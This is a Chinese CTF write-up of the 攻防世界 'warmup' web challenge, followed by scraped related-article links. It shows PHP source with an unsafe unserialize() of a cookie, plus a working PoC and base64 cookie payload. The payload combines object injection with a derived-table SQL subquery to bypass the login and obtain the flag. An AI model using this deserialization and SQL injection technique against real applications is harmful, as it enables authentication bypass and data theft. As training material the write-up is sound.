【攻防世界】warmup
warmup (反序列化与sql注入)
题目来源
攻防世界 NO.GFSJ0999
题目描述
题目提示:平平无奇的输入框
打开网址页面如下,没有有用信息。

题目给了附件,直接下载,得到源码如下:
index.php(其中页面布局等无用代码省略)
<?php
include 'conn.php';
include 'flag.php';
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info'])); //对cookie中的last_login_info进行反序列化。下面的代码已经可以不用看了,这里就是这道题的入口。
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
if(isset($_POST['username']) && isset($_POST['password'])){
$table = 'users';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = new SQL();
$sql->connect();
$sql->table = $table;
$sql->username = $username;
$sql->password = $password;
$sql->check_login();
}
?>
conn.php
<?php
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
//若返回结果的username字段值为admin则给出flag
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
//对数据库进行查询的语句
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
题解
本文参考:https://www.cnblogs.com/Goo1/p/17644523.html
显然这题是一道反序列化和sql注入结合的题目,反序列化的参数是$last_login_info
这道题的重点不在于反序列化,反序列化只是提供一个进入函数的入口。
当反序列化开始进行时,若有__wakeup()函数,则执行__wakeup()函数。
可以看到最后得到flag但是代码在check_login()函数,check_login()函数有调用了query()函数对数据库进行查询,并返回结果。
若返回的结果中字段username的值为admin,则返回flag。
观察query()函数中的查询语句:
"select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"
没办法像多数sql注入的题目一样爆库爆表名,我们也无法保证select的结果为admin。
这里涉及知识点:查询虚拟表
poc如下:
<?php
class SQL{
public $table;
public $username;
public $password;
public $conn;
}
$o=new SQL();
//括号外的a是子查询表的名字
$o->table="(select 'admin' username,'123' password)a";
//要和表内的字段值一致
$o->username='admin';
$o->password='123';
echo serialize($o);
闭合时查询语句为
select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'
下面对这条查询语句进行解释
select 'admin' username,'123' password
这部分创建了一个临时的虚拟表,其中包含两列:username 和 password,并且它们的值分别是 'admin' 和 '123'。
(select 'admin' username,'123' password) a
上面的子查询被命名为 a。这意味着整个子查询的结果会被视为一个名为 a 的表。
select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'
这部分从虚拟表 a 中选择 username 和 password 两列,并且只选择满足条件 username='admin' 和 password='123' 的记录。
综合来看,该 SQL 语句最终返回的结果是:
| username | password |
|---|---|
| admin | 123 |
满足条件$row['username'] === 'admin'
将得到的序列化对象进行base64编码
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDE6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzJyBwYXNzd29yZClhIjtzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJjb25uIjtOO30=
赋值给$last_login_info

查看页面源码得到flag

【攻防世界】warmup的更多相关文章
- 攻防世界(十一)warmup
攻防世界系列 :warmup 1.打开题目,一个贱贱的滑稽表情 F12看到注释内容source.php 2.访问source.php <?php highlight_file(__FILE__) ...
- 攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup
攻防世界 WEB 高手进阶区 HCTF 2018 warmup Writeup 题目介绍 题目考点 PHP代码审计 Writeup 打开 http://220.249.52.134:37877 常规操 ...
- 攻防世界 WriteUp
附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界 | CAT
来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...
- 攻防世界 robots题
来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...
随机推荐
- 在腾讯云 EMR 上使用 GooseFS 加速大数据计算服务
GooseFS 是腾讯云对象存储团队最新推出的高性能.高可用以及可弹性伸缩的分布式缓存系统,依靠对象存储(Cloud Object Storage,COS)作为数据湖存储底座的成本优势,为数据湖生态中 ...
- R机器学习:朴素贝叶斯算法的理解与实操
最近又看了很多贝叶斯算法的一些文章,好多的文章对这个算法解释起来会放一大堆公式,对代数不好的人来说真的很头疼.本文尝试着用大白话写写这个算法,再做个例子,帮助大家理解和运用. Naive Bayes ...
- Shiro安全框架【认证】+【授权】
1.Shiro的核心架构 Subject:程序主体 Security Manager:安全管理器 Authentication:做认证 Authorizer:做授权 Session Manager:会 ...
- go编译可以指定os和arch
是的,Go 编译器支持通过环境变量来指定目标操作系统(OS)和架构(Arch).这允许你为不同的平台交叉编译 Go 程序.你可以使用 GOOS 和 GOARCH 环境变量来指定目标系统. 例如,如果你 ...
- DDD你真的理解清楚了吗?怎么准确理解“值对象”
这些年,随着软件业的不断发展,软件系统开始变得越来越复杂而难于维护.这时,越来越多的开发团队开始选择实践DDD领域驱动设计.领域驱动设计是一种非常优秀的软件设计思想,它可以非常好地帮助我们梳理复杂业务 ...
- Qt编写机器码秘钥控制/日期防篡改/离线使用/硬件标识/运行时间/数量控制/批量更新秘钥
一.前言说明 搞软件开发一直追求精益求精的目标,从第一版的秘钥生成器到今天这个版本,经历了十年的时间,最初的版本做的非常简陋,就是搞了个异或加密,控制运行时间,后面又增加设备数量的控制,然后就是到期时 ...
- SSM或Spring Boor开发中@Repository和@Mapper的区别
在做一个SpringBoot项目的时候在Dao层使用了@Repository注解然后报了这个错: Description: Field userService in com.example.demo. ...
- 今天记录一下css布局的flex布局的一个小妙招之gap
在平常前端开发中,常见的开发布局flex布局,常见的布局有这个样子,这个是可以用css进行修改,但是今天分享一个简单的方法 这种布局的话,如果是偶数的话可以用flex的 justify-content ...
- Note - 速通 NPC?有限域算术!
浅谈有限域在 OI 中的一些应用 (2023 国家集训队论文), 戚朗瑞. \(\textbf{Example 1.}\) 给定一张有向图 \(G=(V,E)\), \(|V|=n\), \( ...
- Hadoop 概述(二)
shell定时上传linux日志信息到hdfs 从标题可以分析出来,我们要使用到shell,还要推送日志信息到hdfs上. 定义出上传的路径和临时路径,并配置好上传的log日志信息.这里我使用了上一节 ...